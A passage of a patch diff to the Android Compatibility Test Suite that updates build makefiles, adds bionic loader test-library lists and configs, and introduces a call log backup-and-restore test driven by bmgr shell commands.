 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/appwidget/Android.mk b/tests/tests/appwidget/Android.mk
index efd15d3..790a6c5 100644
--- a/tests/tests/appwidget/Android.mk
+++ b/tests/tests/appwidget/Android.mk
@@ -24,7 +24,11 @@
 
 LOCAL_PACKAGE_NAME := CtsAppWidgetTestCases
 
-LOCAL_STATIC_JAVA_LIBRARIES := mockito-target ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    mockito-target \
+    ctstestrunner \
+    junit \
+    legacy-android-test
 
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts
diff --git a/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetTest.java b/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetTest.java
index 61b964d..c133915 100644
--- a/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetTest.java
+++ b/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetTest.java
@@ -17,7 +17,6 @@
 package android.appwidget.cts;
 
 import static org.mockito.Matchers.any;
-import static org.mockito.Matchers.argThat;
 import static org.mockito.Matchers.eq;
 import static org.mockito.Matchers.same;
 import static org.mockito.Mockito.atLeastOnce;
@@ -27,6 +26,7 @@
 import static org.mockito.Mockito.spy;
 import static org.mockito.Mockito.times;
 import static org.mockito.Mockito.verify;
+import static org.mockito.hamcrest.MockitoHamcrest.argThat;
 
 import android.appwidget.AppWidgetHost;
 import android.appwidget.AppWidgetHostView;
diff --git a/tests/tests/assist/Android.mk b/tests/tests/assist/Android.mk
index 0886340..61379c5 100644
--- a/tests/tests/assist/Android.mk
+++ b/tests/tests/assist/Android.mk
@@ -24,8 +24,6 @@
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts
 
-LOCAL_CTS_MODULE_CONFIG := $(LOCAL_PATH)/Old$(CTS_MODULE_TEST_CONFIG)
-
 LOCAL_STATIC_JAVA_LIBRARIES := CtsAssistCommon ctstestrunner ctsdeviceutil
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/tests/tests/assist/OldAndroidTest.xml b/tests/tests/assist/OldAndroidTest.xml
deleted file mode 100644
index 26db4cf..0000000
--- a/tests/tests/assist/OldAndroidTest.xml
+++ /dev/null
@@ -1,22 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2015 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<configuration description="Test module config for Assist">
-    <include name="common-config" />
-    <option name="cts-apk-installer:test-file-name" value="CtsAssistService.apk" />
-    <option name="cts-apk-installer:test-file-name" value="CtsAssistApp.apk" />
-    <option name="run-command:run-command"
-         value="settings put secure voice_interaction_service android.assist.service/.MainInteractionService" />
-</configuration>
diff --git a/tests/tests/bionic/Android.build.copy.libs.mk b/tests/tests/bionic/Android.build.copy.libs.mk
new file mode 100644
index 0000000..5016e33
--- /dev/null
+++ b/tests/tests/bionic/Android.build.copy.libs.mk
@@ -0,0 +1,149 @@
+LOCAL_PATH := $(call my-dir)
+
+cts_bionic_tests_dir := lib32
+
+ifeq (true,$(TARGET_IS_64_BIT))
+  ifeq (,$(cts_bionic_tests_2nd_arch_prefix))
+    cts_bionic_tests_dir := lib64
+  endif
+endif
+
+# TODO(dimitry): Can this list be constructed dynamically?
+my_bionic_testlib_files := \
+  cfi_test_helper/cfi_test_helper \
+  cfi_test_helper2/cfi_test_helper2 \
+  dt_runpath_a/libtest_dt_runpath_a.so \
+  dt_runpath_b_c_x/libtest_dt_runpath_b.so \
+  dt_runpath_b_c_x/libtest_dt_runpath_c.so \
+  dt_runpath_b_c_x/libtest_dt_runpath_x.so \
+  libatest_simple_zip/libatest_simple_zip.so \
+  libcfi-test.so \
+  libcfi-test-bad.so \
+  libdlext_test_different_soname.so \
+  libdlext_test_fd/libdlext_test_fd.so \
+  libdlext_test_norelro.so \
+  libdlext_test_runpath_zip/libdlext_test_runpath_zip_zipaligned.zip \
+  libdlext_test.so \
+  libdlext_test_zip/libdlext_test_zip.so \
+  libdlext_test_zip/libdlext_test_zip_zipaligned.zip \
+  libdl_preempt_test_1.so \
+  libdl_preempt_test_2.so \
+  libdl_test_df_1_global.so \
+  libsysv-hash-table-library.so \
+  libtest_atexit.so \
+  libtest_check_order_dlsym_1_left.so \
+  libtest_check_order_dlsym_2_right.so \
+  libtest_check_order_dlsym_3_c.so \
+  libtest_check_order_dlsym_a.so \
+  libtest_check_order_dlsym_b.so \
+  libtest_check_order_dlsym_d.so \
+  libtest_check_order_dlsym.so \
+  libtest_check_order_reloc_root_1.so \
+  libtest_check_order_reloc_root_2.so \
+  libtest_check_order_reloc_root.so \
+  libtest_check_order_reloc_siblings_1.so \
+  libtest_check_order_reloc_siblings_2.so \
+  libtest_check_order_reloc_siblings_3.so \
+  libtest_check_order_reloc_siblings_a.so \
+  libtest_check_order_reloc_siblings_b.so \
+  libtest_check_order_reloc_siblings_c_1.so \
+  libtest_check_order_reloc_siblings_c_2.so \
+  libtest_check_order_reloc_siblings_c.so \
+  libtest_check_order_reloc_siblings_d.so \
+  libtest_check_order_reloc_siblings_e.so \
+  libtest_check_order_reloc_siblings_f.so \
+  libtest_check_order_reloc_siblings.so \
+  libtest_check_rtld_next_from_library.so \
+  libtest_dlopen_from_ctor_main.so \
+  libtest_dlopen_from_ctor.so \
+  libtest_dlopen_weak_undefined_func.so \
+  libtest_dlsym_df_1_global.so \
+  libtest_dlsym_from_this_child.so \
+  libtest_dlsym_from_this_grandchild.so \
+  libtest_dlsym_from_this.so \
+  libtest_dlsym_weak_func.so \
+  libtest_dt_runpath_d.so \
+  libtest_empty.so \
+  libtest_init_fini_order_child.so \
+  libtest_init_fini_order_grand_child.so \
+  libtest_init_fini_order_root2.so \
+  libtest_init_fini_order_root.so \
+  libtest_nodelete_1.so \
+  libtest_nodelete_2.so \
+  libtest_nodelete_dt_flags_1.so \
+  libtest_pthread_atfork.so \
+  libtest_relo_check_dt_needed_order_1.so \
+  libtest_relo_check_dt_needed_order_2.so \
+  libtest_relo_check_dt_needed_order.so \
+  libtest_simple.so \
+  libtest_two_parents_child.so \
+  libtest_two_parents_parent1.so \
+  libtest_two_parents_parent2.so \
+  libtest_versioned_lib.so \
+  libtest_versioned_libv1.so \
+  libtest_versioned_libv2.so \
+  libtest_versioned_otherlib_empty.so \
+  libtest_versioned_otherlib.so \
+  libtest_versioned_uselibv1.so \
+  libtest_versioned_uselibv2_other.so \
+  libtest_versioned_uselibv2.so \
+  libtest_versioned_uselibv3_other.so \
+  libtest_with_dependency_loop_a.so \
+  libtest_with_dependency_loop_b.so \
+  libtest_with_dependency_loop_b_tmp.so \
+  libtest_with_dependency_loop_c.so \
+  libtest_with_dependency_loop.so \
+  libtest_with_dependency.so \
+  prebuilt-elf-files/libtest_invalid-empty_shdr_table.so \
+  prebuilt-elf-files/libtest_invalid-rw_load_segment.so \
+  prebuilt-elf-files/libtest_invalid-unaligned_shdr_offset.so \
+  prebuilt-elf-files/libtest_invalid-zero_shdr_table_content.so \
+  prebuilt-elf-files/libtest_invalid-zero_shdr_table_offset.so \
+  prebuilt-elf-files/libtest_invalid-zero_shentsize.so \
+  prebuilt-elf-files/libtest_invalid-zero_shstrndx.so \
+  prebuilt-elf-files/libtest_invalid-textrels.so \
+  prebuilt-elf-files/libtest_invalid-textrels2.so \
+  preinit_getauxval_test_helper/preinit_getauxval_test_helper \
+  preinit_syscall_test_helper/preinit_syscall_test_helper \
+  private_namespace_libs_external/libnstest_private_external.so \
+  private_namespace_libs/libnstest_dlopened.so \
+  private_namespace_libs/libnstest_private.so \
+  private_namespace_libs/libnstest_root_not_isolated.so \
+  private_namespace_libs/libnstest_root.so \
+  public_namespace_libs/libnstest_public.so \
+  public_namespace_libs/libnstest_public_internal.so \
+  ld_preload_test_helper/ld_preload_test_helper \
+  ld_preload_test_helper_lib1.so \
+  ld_preload_test_helper_lib2.so \
+  ld_config_test_helper/ld_config_test_helper \
+  ns2/ld_config_test_helper_lib1.so \
+  ns2/ld_config_test_helper_lib2.so \
+  ld_config_test_helper_lib3.so \
+
+# These libraries are not built for mips.
+my_bionic_testlib_files_non_mips := \
+  libgnu-hash-table-library.so \
+  libtest_ifunc.so \
+  libtest_ifunc_variable.so \
+  libtest_ifunc_variable_impl.so \
+
+my_bionic_testlibs_src_dir := \
+  $($(cts_bionic_tests_2nd_arch_prefix)TARGET_OUT_DATA_NATIVE_TESTS)/bionic-loader-test-libs
+my_bionic_testlibs_out_dir := $(cts_bionic_tests_dir)/bionic-loader-test-libs
+
+LOCAL_COMPATIBILITY_SUPPORT_FILES += \
+  $(foreach lib, $(my_bionic_testlib_files), \
+    $(my_bionic_testlibs_src_dir)/$(lib):$(my_bionic_testlibs_out_dir)/$(lib))
+
+ifneq ($(TARGET_ARCH),$(filter $(TARGET_ARCH),mips mips64))
+LOCAL_COMPATIBILITY_SUPPORT_FILES += \
+  $(foreach lib, $(my_bionic_testlib_files_non_mips), \
+    $(my_bionic_testlibs_src_dir)/$(lib):$(my_bionic_testlibs_out_dir)/$(lib))
+endif
+
+my_bionic_testlib_files :=
+my_bionic_testlib_files_non_mips :=
+my_bionic_testlibs_src_dir :=
+my_bionic_testlibs_out_dir :=
+cts_bionic_tests_dir :=
+cts_bionic_tests_2nd_arch_prefix :=
diff --git a/tests/tests/bionic/Android.mk b/tests/tests/bionic/Android.mk
index 627841f..ade0162 100644
--- a/tests/tests/bionic/Android.mk
+++ b/tests/tests/bionic/Android.mk
@@ -1,61 +1,55 @@
 LOCAL_PATH := $(call my-dir)
 
-test_executable := CtsBionicTestCases
-list_executable := $(test_executable)_list
-
 include $(CLEAR_VARS)
-LOCAL_ADDITIONAL_DEPENDENCIES := $(LOCAL_PATH)/Android.mk
-
-LOCAL_MODULE := $(test_executable)
-LOCAL_MODULE_TAGS := optional
+LOCAL_MODULE := CtsBionicTestCases
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA)/nativetest
 LOCAL_MULTILIB := both
 LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
 LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
 
+LOCAL_LDFLAGS := -Wl,--rpath,\$${ORIGIN}/lib/bionic-loader-test-libs -Wl,--enable-new-dtags -Wl,--export-dynamic
+
 LOCAL_SHARED_LIBRARIES += \
     libdl \
+    libdl_preempt_test_1 \
+    libdl_preempt_test_2 \
+    libdl_test_df_1_global \
 
 LOCAL_WHOLE_STATIC_LIBRARIES += \
     libBionicTests \
+    libBionicLoaderTests \
     libBionicCtsGtestMain \
 
 LOCAL_STATIC_LIBRARIES += \
     libbase \
+    libpagemap \
+    libziparchive \
     libtinyxml2 \
     liblog \
+    libz \
+    libutils \
     libgtest \
+    libLLVMObject \
+    libLLVMBitReader \
+    libLLVMMC \
+    libLLVMMCParser \
+    libLLVMCore \
+    libLLVMSupport \
+
+LOCAL_CXX_STL := libc++_static
 
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts
 
 LOCAL_CTS_TEST_PACKAGE := android.bionic
+
+cts_bionic_tests_2nd_arch_prefix :=
+include $(LOCAL_PATH)/Android.build.copy.libs.mk
+ifneq ($(TARGET_TRANSLATE_2ND_ARCH),true)
+  ifneq ($(TARGET_2ND_ARCH),)
+    cts_bionic_tests_2nd_arch_prefix := $(TARGET_2ND_ARCH_VAR_PREFIX)
+    include $(LOCAL_PATH)/Android.build.copy.libs.mk
+  endif
+endif
+
 include $(BUILD_CTS_EXECUTABLE)
-
-ifeq ($(HOST_OS)-$(HOST_ARCH),$(filter $(HOST_OS)-$(HOST_ARCH),linux-x86 linux-x86_64))
-include $(CLEAR_VARS)
-LOCAL_ADDITIONAL_DEPENDENCIES := $(LOCAL_PATH)/Android.mk
-
-LOCAL_MODULE_TAGS := optional
-LOCAL_MODULE := $(list_executable)
-LOCAL_MULTILIB := both
-# Use the 32 bit list executable since it will include some 32 bit only tests.
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-LOCAL_LDLIBS += \
-    -lrt -ldl -lutil \
-
-LOCAL_WHOLE_STATIC_LIBRARIES += \
-    libBionicTests \
-    libBionicCtsGtestMain \
-
-LOCAL_STATIC_LIBRARIES += \
-    libbase \
-    liblog \
-    libcutils \
-
-LOCAL_CXX_STL := libc++
-
-include $(BUILD_HOST_NATIVE_TEST)
-endif  # ifeq ($(HOST_OS)-$(HOST_ARCH),$(filter $(HOST_OS)-$(HOST_ARCH),linux-x86 linux-x86_64))
diff --git a/tests/tests/bionic/AndroidTest.xml b/tests/tests/bionic/AndroidTest.xml
index 97a9a0a..30717da0 100644
--- a/tests/tests/bionic/AndroidTest.xml
+++ b/tests/tests/bionic/AndroidTest.xml
@@ -19,6 +19,11 @@
         <option name="push" value="CtsBionicTestCases->/data/local/tmp/CtsBionicTestCases" />
         <option name="append-bitness" value="true" />
     </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+        <option name="cleanup" value="true" />
+        <option name="push" value="lib->/data/local/tmp/lib" />
+        <option name="append-bitness" value="true" />
+    </target_preparer>
     <test class="com.android.tradefed.testtype.GTest" >
         <option name="native-test-device-path" value="/data/local/tmp" />
         <option name="module-name" value="CtsBionicTestCases" />
diff --git a/tests/tests/bluetooth/Android.mk b/tests/tests/bluetooth/Android.mk
index d980e37..8faf318 100644
--- a/tests/tests/bluetooth/Android.mk
+++ b/tests/tests/bluetooth/Android.mk
@@ -24,7 +24,7 @@
 # When built, explicitly put it in the data partition.
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/calendarcommon/Android.mk b/tests/tests/calendarcommon/Android.mk
index 7a8296c..610314f 100644
--- a/tests/tests/calendarcommon/Android.mk
+++ b/tests/tests/calendarcommon/Android.mk
@@ -25,7 +25,7 @@
 # When built, explicitly put it in the data partition.
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/calllog/Android.mk b/tests/tests/calllog/Android.mk
new file mode 100644
index 0000000..df20aa5
--- /dev/null
+++ b/tests/tests/calllog/Android.mk
@@ -0,0 +1,38 @@
+# Copyright (C) 2015 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsCallLogTestCases
+
+# Don't include this package in any target.
+LOCAL_MODULE_TAGS := optional
+
+# When built, explicitly put it in the data partition.
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
+
+LOCAL_JAVA_LIBRARIES := bouncycastle
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_SDK_VERSION := current
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/calllog/AndroidManifest.xml b/tests/tests/calllog/AndroidManifest.xml
new file mode 100644
index 0000000..d66559f
--- /dev/null
+++ b/tests/tests/calllog/AndroidManifest.xml
@@ -0,0 +1,38 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="android.calllog.cts">
+    <uses-sdk android:minSdkVersion="21" />
+
+    <uses-permission android:name="android.permission.READ_CALL_LOG" />
+    <uses-permission android:name="android.permission.WRITE_CALL_LOG" />
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+    <uses-permission android:name="android.permission.INTERNET" />
+
+    <application>
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.calllog.cts"
+                     android:label="CTS tests for android.calllog package">
+        <meta-data android:name="listener"
+            android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+</manifest>
+
diff --git a/tests/tests/calllog/AndroidTest.xml b/tests/tests/calllog/AndroidTest.xml
new file mode 100644
index 0000000..408aaac
--- /dev/null
+++ b/tests/tests/calllog/AndroidTest.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Call Log test cases">
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsCallLogTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.calllog.cts" />
+    </test>
+</configuration>
\ No newline at end of file
diff --git a/tests/tests/calllog/src/android/calllog/cts/CallLogBackupTest.java b/tests/tests/calllog/src/android/calllog/cts/CallLogBackupTest.java
new file mode 100644
index 0000000..1ae735a
--- /dev/null
+++ b/tests/tests/calllog/src/android/calllog/cts/CallLogBackupTest.java
@@ -0,0 +1,337 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.calllog.cts;
+
+import android.content.ContentResolver;
+import android.content.ContentValues;
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.database.Cursor;
+import android.provider.CallLog;
+import android.provider.CallLog.Calls;
+import android.provider.Settings;
+import android.test.InstrumentationTestCase;
+import android.util.Log;
+
+import java.util.LinkedList;
+import java.util.List;
+import java.util.Objects;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+/**
+ * Verifies the behavior of CallLogBackup.
+ *
+ * This tests three import things:
+ * 1. That call log gets backed up and restored using the standard BackupAgent implementation.
+ *     - To test we create call-log entries back them up, clear the call log, and restore them.
+ *     - We leverage the LocalTransport backup implementation to do this.
+ * 2. The call log backup is implemented by the expected package: {@link #CALLLOG_BACKUP_PACKAGE}.
+ *     - We always trigger the expected package for backup/restore within the tests.
+ * 3. The backup format for call log is as expected so that backup works across android devices
+ *    by different OEMs.
+ *     - We peek into the backup files saved by LocalTransport and verify their binary output is
+ *       as expected.
+ */
+public class CallLogBackupTest extends InstrumentationTestCase {
+    private static final String TAG = "CallLogBackupTest";
+
+    private static final String LOCAL_BACKUP_COMPONENT =
+            "android/com.android.internal.backup.LocalTransport";
+
+    private static final String CALLLOG_BACKUP_PACKAGE = "com.android.providers.calllogbackup";
+    private static final String ALT_CALLLOG_BACKUP_PACKAGE = "com.android.calllogbackup";
+
+    private static final String TEST_NUMBER = "555-1234";
+    private static final int CALL_START_TIME = 0;
+    private static final int CALL_DURATION = 2000;
+    private static final int TIMEOUT_BACKUP = 10000;
+    private static final String TEST_POST_DIAL_DIGITS = ";1234";
+    private static final String TEST_VIA_NUMBER = "555-1112";
+
+    private static final Pattern BMGR_ENABLED_PATTERN = Pattern.compile(
+            "^Backup Manager currently (enabled|disabled)$");
+
+    private static final String[] CALL_LOG_PROJECTION = new String[] {
+        CallLog.Calls._ID,
+        CallLog.Calls.DATE,
+        CallLog.Calls.DURATION,
+        CallLog.Calls.NUMBER,
+        CallLog.Calls.TYPE,
+        CallLog.Calls.COUNTRY_ISO,
+        CallLog.Calls.GEOCODED_LOCATION,
+        CallLog.Calls.NUMBER_PRESENTATION,
+        CallLog.Calls.PHONE_ACCOUNT_COMPONENT_NAME,
+        CallLog.Calls.PHONE_ACCOUNT_ID,
+        CallLog.Calls.DATA_USAGE,
+        CallLog.Calls.FEATURES,
+        CallLog.Calls.POST_DIAL_DIGITS,
+        CallLog.Calls.VIA_NUMBER
+    };
+
+    protected interface Condition {
+        Object expected();
+        Object actual();
+    }
+
+    class Call {
+        int id;
+        long date;
+        long duration;
+        String number;
+        int type;
+        String phoneAccountComponent;
+        String phoneAccountId;
+        int presentation;
+        String postDialDigits;
+        String viaNumber;
+    }
+
+    private String mCallLogBackupPackageName;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        PackageManager pm = getContext().getPackageManager();
+        try {
+            pm.getPackageInfo(CALLLOG_BACKUP_PACKAGE, 0);
+            mCallLogBackupPackageName = CALLLOG_BACKUP_PACKAGE;
+        } catch (PackageManager.NameNotFoundException e) {
+            mCallLogBackupPackageName = ALT_CALLLOG_BACKUP_PACKAGE;
+        }
+    }
+
+    /**
+     * Test:
+     *   1) Clear the call log
+     *   2) Add a single call
+     *   3) Run backup
+     *   4) clear the call log
+     *   5) Run restore
+     *   6) Verify that we the call from step (2)
+     */
+    public void testSingleCallBackup() throws Exception {
+        if (!getContext().getPackageManager().hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            Log.i(TAG, "Skipping calllog tests: no telephony feature");
+            return;
+        }
+        // This CTS test depends on the local transport and so if it is not present,
+        // skip the test with success.
+        if (!hasBackupTransport(LOCAL_BACKUP_COMPONENT)) {
+            Log.i(TAG, "skipping calllog tests: no local transport");
+            return;
+        }
+
+        // Turn on backup and set to the local backup agent.
+        boolean previouslyEnabled = enableBackup(true /* enable */);
+        String oldTransport = setBackupTransport(LOCAL_BACKUP_COMPONENT);
+        int previousFullDataBackupAware = Settings.Secure.getInt(getContext().getContentResolver(),
+                "user_full_data_backup_aware", 0);
+        enableFullDataBackupAware(1);
+
+        // Clear the call log
+        Log.i(TAG, "Clearing the call log");
+        clearCallLog();
+        clearBackups();
+
+        // Add a single call and verify it exists
+        Log.i(TAG, "Adding a call");
+        addCall();
+        verifyCall();
+
+        // Run backup for the call log (saves the single call).
+        Log.i(TAG, "Running backup");
+        runBackupFor(mCallLogBackupPackageName);
+
+        // Clear the call log and verify that it is empty
+        Log.i(TAG, "Clearing the call log");
+        clearCallLog();
+        assertEquals(0, getCalls().size());
+
+        // Restore from the previous backup and verify we have the new call again.
+        Log.i(TAG, "Restoring the single call");
+        runRestoreFor(mCallLogBackupPackageName);
+
+        verifyCall();
+
+        // Clean up after ourselves
+        clearCallLog();
+
+        // Reset backup manager to original state.
+        Log.i(TAG, "Reseting backup");
+        setBackupTransport(oldTransport);
+        enableBackup(previouslyEnabled);
+        enableFullDataBackupAware(previousFullDataBackupAware);
+    }
+
+    private Call verifyCall() {
+        waitUntilConditionIsTrueOrTimeout(new Condition() {
+            @Override
+            public Object expected() {
+                return 1;
+            }
+
+            @Override
+            public Object actual() {
+                return getCalls().size();
+            }
+        }, TIMEOUT_BACKUP);
+
+        List<Call> calls = getCalls();
+        Call call = calls.get(0);
+        assertEquals(TEST_NUMBER, call.number);
+        assertEquals(CALL_START_TIME, call.date);
+        assertEquals(CALL_DURATION, call.duration);
+        assertEquals(Calls.OUTGOING_TYPE, call.type);
+        assertEquals(TEST_POST_DIAL_DIGITS, call.postDialDigits);
+        assertEquals(TEST_VIA_NUMBER, call.viaNumber);
+        return call;
+    }
+
+    private boolean enableBackup(boolean enable) throws Exception {
+        // Check to see the previous state of the backup service
+        boolean previouslyEnabled = false;
+        String output = exec("bmgr enabled");
+        Matcher matcher = BMGR_ENABLED_PATTERN.matcher(output.trim());
+        if (matcher.find()) {
+            previouslyEnabled = "enabled".equals(matcher.group(1));
+        } else {
+            throw new RuntimeException("Backup output format changed.  No longer matches"
+                    + " expected regex: " + BMGR_ENABLED_PATTERN + "\nactual: '" + output + "'");
+        }
+
+        exec("bmgr enable " + enable);
+        return previouslyEnabled;
+    }
+
+    private void runBackupFor(String packageName) throws Exception {
+        exec("bmgr backupnow " + packageName);
+    }
+
+    private void runRestoreFor(String packageName) throws Exception {
+        exec("bmgr restore " + packageName);
+    }
+
+    private void enableFullDataBackupAware(int status) throws Exception {
+        exec("settings put secure user_full_data_backup_aware " + status);
+    }
+
+    private String setBackupTransport(String transport) throws Exception {
+        String output = exec("bmgr transport " + transport);
+        Pattern pattern = Pattern.compile("\\(formerly (.*)\\)$");
+        Matcher matcher = pattern.matcher(output);
+        if (matcher.find()) {
+            return matcher.group(1);
+        } else {
+            throw new Exception("non-parsable output setting bmgr transport: " + output);
+        }
+    }
+
+    /**
+     * Checks the list of supported transports and verifies that the specified transport
+     * is included.
+     */
+    private boolean hasBackupTransport(String transport) throws Exception {
+        String output = exec("bmgr list transports");
+        for (String t : output.split(" ")) {
+            if ("*".equals(t)) {
+                // skip the current selection marker.
+                continue;
+            } else if (Objects.equals(transport, t)) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    private void clearCallLog() {
+        ContentResolver resolver = getContext().getContentResolver();
+        resolver.delete(Calls.CONTENT_URI, null, null);
+    }
+
+    private void clearBackups() throws Exception {
+        exec("bmgr wipe " + LOCAL_BACKUP_COMPONENT + " " + mCallLogBackupPackageName);
+    }
+
+    private void addCall() {
+        ContentValues values = new ContentValues(6);
+        values.put(Calls.NUMBER, TEST_NUMBER);
+        values.put(Calls.NUMBER_PRESENTATION, Calls.PRESENTATION_ALLOWED);
+        values.put(Calls.TYPE, Integer.valueOf(Calls.OUTGOING_TYPE));
+        values.put(Calls.DATE, Long.valueOf(CALL_START_TIME));
+        values.put(Calls.DURATION, Long.valueOf(CALL_DURATION));
+        values.put(Calls.NEW, Integer.valueOf(1));
+        values.put(Calls.POST_DIAL_DIGITS, TEST_POST_DIAL_DIGITS);
+        values.put(Calls.VIA_NUMBER, TEST_VIA_NUMBER);
+
+        getContext().getContentResolver().insert(Calls.CONTENT_URI, values);
+    }
+
+    void waitUntilConditionIsTrueOrTimeout(Condition condition, long timeout) {
+        final long start = System.currentTimeMillis();
+        while (!condition.expected().equals(condition.actual())
+                && System.currentTimeMillis() - start < timeout) {
+            try {
+                Thread.sleep(100);
+            } catch (InterruptedException e) {
+                // ignore
+            }
+        }
+        assertEquals(condition.expected(), condition.actual());
+    }
+
+    private List<Call> getCalls() {
+        List<Call> calls = new LinkedList<>();
+
+        ContentResolver resolver = getContext().getContentResolver();
+        Cursor cursor = resolver.query(Calls.CONTENT_URI, CALL_LOG_PROJECTION, null, null, null);
+        if (cursor != null) {
+            try {
+                while (cursor.moveToNext()) {
+                    Call call = new Call();
+                    call.id = cursor.getInt(cursor.getColumnIndex(Calls._ID));
+                    call.number = cursor.getString(cursor.getColumnIndex(Calls.NUMBER));
+                    call.date = cursor.getLong(cursor.getColumnIndex(Calls.DATE));
+                    call.duration = cursor.getLong(cursor.getColumnIndex(Calls.DURATION));
+                    call.type = cursor.getInt(cursor.getColumnIndex(Calls.TYPE));
+                    call.phoneAccountComponent = cursor.getString(
+                            cursor.getColumnIndex(Calls.PHONE_ACCOUNT_COMPONENT_NAME));
+                    call.phoneAccountId = cursor.getString(
+                            cursor.getColumnIndex(Calls.PHONE_ACCOUNT_ID));
+                    call.presentation = cursor.getInt(
+                            cursor.getColumnIndex(Calls.NUMBER_PRESENTATION));
+                    call.postDialDigits = cursor.getString(
+                            cursor.getColumnIndex(Calls.POST_DIAL_DIGITS));
+                    call.viaNumber = cursor.getString(
+                            cursor.getColumnIndex(Calls.VIA_NUMBER));
+                    calls.add(call);
+                }
+            } finally {
+                cursor.close();
+            }
+        }
+        return calls;
+    }
+
+    private Context getContext() {
+        return getInstrumentation().getContext();
+    }
+
+    private String exec(String command) throws Exception {
+        return TestUtils.executeShellCommand(getInstrumentation(), command);
+    }
+}
